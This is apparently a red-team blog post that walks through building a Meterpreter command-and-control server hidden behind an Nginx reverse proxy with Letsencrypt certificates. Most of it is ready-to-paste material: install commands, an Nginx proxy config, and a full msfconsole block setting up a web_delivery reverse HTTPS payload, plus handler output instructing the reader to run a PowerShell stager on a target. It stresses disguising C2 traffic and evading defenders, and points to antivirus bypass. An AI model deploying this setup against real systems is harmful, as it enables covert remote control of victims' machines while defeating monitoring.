Meterpreter & Nginx Reverse Proxy

7 min readSep 13, 2021
Photo by Markus Winkler via


If you have been playing around with Meterpreter in highly monitored environments, you probably know that the plug-and-play options won’t work for you. You will need to hide your C2 (command-and-control) traffic amongst the regular web traffic on the network and therefore have to use the advanced options like HandlerSSLCert, OverrideRequestHost and EnableStageEncoding next to using system ports like 80/HTTP or 443/HTTPS.

Setting up a listener on a system port (0–1023) requires administrative privileges but when you start Meterpreter with sudo or as the root user, Meterpreter will tell you that PayloadUUIDTracking will not work (amongst other things). There are some hacks to still make this work like setcap CAP_NET_BIND_SERVICE, but neither of those so-called ‘solutions’ do well for your overall security and you want your C2 server to be secure, right? This is where Nginx comes in.

As software dedicated to handling web traffic with an explicit goal of outperforming Apache web server, Nginx is one of the most used web servers in the world. Nginx uses much less memory than Apache, and can handle roughly four times as many requests per second. Now, I don’t know how important the latter is for C2 traffic per se but since I moved from using Apache as primary web server to Nginx a couple of years ago, I never looked back. The ease of installation, the light-weight software package, the overall performance and the simple virtual host configuration have made me a true fanboy of Nginx.

I am going to give you the quick and dirty examples in this story but if you like to dig a little deeper to improve your skills and knowledge about the topics discussed, click the links found in this article to my other Medium stories.

By the way, I am using Ubuntu for almost all my C2 servers so if you want to copy paste, you know what OS to use 😉.

Okay, on with it!


1. Install Nginx
2. Install Letsencrypt (SSL)
3. Configure Nginx for the C2 domain and Meterpreter
4. Install Meterpreter and set up a listener
5. (optional) Go beyond


  • Make sure your C2 server is apt-to-date:
$ sudo apt update && sudo apt upgrade -y
  • Install Nginx:
$ sudo apt install nginx
  • Open /etc/nginx/sites-enabled/default with your favorite text editor
  • Add this line somewhere inside the server {} section:
include snippets/letsencrypt.conf;

To redirect renewal requests from Letsencrypt in the next step to the appropriate web directory, we need to add a little configuration to Nginx. This will come in handy when we have a custom Nginx configuration later on.

  • Create file /etc/nginx/snippets/letsencrypt.conf with your favorite text editor and add the following:
location ^~ /.well-known/acme-challenge/ {
default_type "text/plain";
root /var/www/html;
  • Reload Nginx (important!):
$ sudo systemctl reload nginx


My Medium story about this topic, written in May, 2021:

Ubuntu comes with Snapd pre-installed so don’t worry about installing additional software if you haven’t heard of Snapd before.

  • Ensure that your version of snapd is up to date:
$ sudo snap install core; sudo snap refresh core
  • Install Certbot:
$ sudo snap install --classic certbot
  • Prepare the Certbot command:
$ sudo ln -s /snap/bin/certbot /usr/bin/certbot

Point the DNS of your C2 domain to your C2 server if you haven’t done that already. Then, run the following command to request your SSL certificate:

$ sudo certbot certonly --webroot --key-type rsa -w /var/www/html -d -d

If everything went okay, you will end up with fresh certificates installed in directory /etc/letsencrypt/live/ Normally, this would be sufficient for any website you’re hosting but we’ll also want to use this SSL certificate for Meterpreter to fully encrypt the traffic between our target and Meterpreter. To achieve this, concatenate the private key and certificate:

$ cat /etc/letsencrypt/live/ /etc/letsencrypt/live/ | sudo tee /etc/nginx/ssl/unified.pem >/dev/null


I always set up a cron job to automatically renew the Letsencrypt certificate and create/renew the unified certificate to be used by Meterpreter.

  • Edit root’s crontab:
$ sudo crontab -e
  • Add the following:
@weekly certbot renew >> /root/certbot.log 2>&1
@weekly cat /etc/letsencrypt/live/ /etc/letsencrypt/live/ > /etc/nginx/ssl/unified.pem


Okay, now that you have the required SSL certificates, it is time to configure Nginx.

  • Go to directory /etc/nginx/sites-available and create a new file with your favorite text editor.
  • Add the following configuration:
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name _;
include snippets/letsencrypt.conf;
location / {
return 301 https://$host$request_uri;
server {
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
server_name _;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
include snippets/letsencrypt.conf;
location / {
try_files $uri $uri/ =404;
# Hide Nginx version
server_tokens off;
# SSL configuration
ssl_certificate /etc/letsencrypt/live/;
ssl_certificate_key /etc/letsencrypt/live/;
ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
# Metasploit
location /session/ {
proxy_ssl_verify off;
proxy_ssl_trusted_certificate /etc/nginx/ssl/unified.pem;
proxy_ssl_server_name on;
location /update/ {
proxy_ssl_verify off;
proxy_ssl_trusted_certificate /etc/nginx/ssl/unified.pem;
proxy_ssl_server_name on;
location ~ /\.ht {
deny all;

The above configuration:

  • Redirects port 80/HTTP traffic to 443/HTTPS;
  • Includes the Letsencrypt magic from Step 1;
  • Hides the Nginx version; and
  • Forwards request to /session/ and /update/ to the Meterpreter listener we will set up in Step 4.


  • Go to /etc/nginx/sites-enabled
  • Delete default
  • Symlink your new configuration (mind the period at the end):
$ sudo ln -s ../sites-available/ .
  • Reload Nginx (important!):
$ sudo systemctl reload nginx



Taken from

The following script invocation will import the Rapid7 signing key and setup the Meterpreter package for supported Linux and macOS systems:

# curl > msfinstall && \
chmod 755 msfinstall && \

Note the # in front of the command Rapid7 gave us. First, become root
sudo su - and then run the above to install Meterpreter on your C2 server. After the installation, you have to revert back to the user account by typing exit.


  • Start Meterpreter: msfconsole
  • Replace (3 times) with your actual C2 domain in the text below and then past everything in Meterpreter:
setg AutoSystemInfo false
setg VERBOSE true
setg EnableStageEncoding true
setg ConsoleLogging true
setg LogLevel 5
setg SessionLogging true
setg TimestampOutput true
set SessionCommunicationTimeout 3600
set ExitOnSession false
set PayloadUUIDTracking true
set OverrideLHOST
set OverrideLPORT 443
set OverrideRequestHost true
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_https
set ReverseListenerBindaddress
set ReverseListenerBindPort 9443
set SSL true
set SSLCERT /etc/nginx/ssl/unified.pem
set HandlerSSLCert /etc/nginx/ssl/unified.pem
set StagerVerifySSLCert true
set SRVPORT 8443
set URIPORT 443
set URIPATH update
set LPORT 443
set LURI session
set target 2
exploit -j -z


As I like a little bit more information about my C2 connections, I always enable the extra logging options before doing anything else. To see what any of the above options do, type advanced in your Meterpreter shell.

The most important options from the text above are enabling PayloadUUIDTracking (click for more info), opening port 9443 (no administrative privileges needed) for local connections only ( but instead using as the information for the payload by settings options like OverrideLHOST, and setting a custom URI path for the listener and stager to use that will route the connection from the target to our Nginx web server which will proxy the connection to


[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] [2021.09.10–19:13:55] Started HTTPS reverse handler on
[*] [2021.09.10–19:13:55] Using URL:
[*] [2021.09.10–19:13:55] Server started.
[*] [2021.09.10–19:13:55] Run the following command on the target machine:

Now, just copy the powershell command to your Windows (test) target box and execute! If you’ve done everything right, you should end up with a fully encrypted Meterpreter session, accessible via the standard web ports to limit the risk of detection by the Blue team.

5. (optional) GO BEYOND

Bypassing AV

If the above was peanuts for you, you might want to take something else into consideration: bypassing Windows Defender (and other AV solutions).

The previous RED TEAM TUTORIAL I wrote, teaches you to bypass Windows Defender by not using the default Meterpreter payload, but by adding extra layers of obfuscation and encryption. It also teaches you how to use a technique called ‘Reflective DLL Injection’ to run the payload in memory and therefore limit the risk of detection by the Blue team.

Check out RED TEAM TUTORIALS — №4, Bypassing Windows Defender — Meterpreter edition.

Fake website

Remember the Nginx config we activated in Step 3? The directory Nginx serves files from is the default /var/www/html. If you don’t change anything else, Nginx will serve a default welcome page which is installed in that directory. Experienced Blue teams know what to look for, meaning that they will spot the default Nginx welcome page when a lot of requests between your target and C2 server occur. That’s why you should never leave the default page up but instead spend a little time on crafting your own.

I always use ready-to-go templates from and modify the first page to match the C2 domain.

Give me a few claps if this article has helped you in any way 🙏




Offensive Security Researcher. I capture flag and escape containers.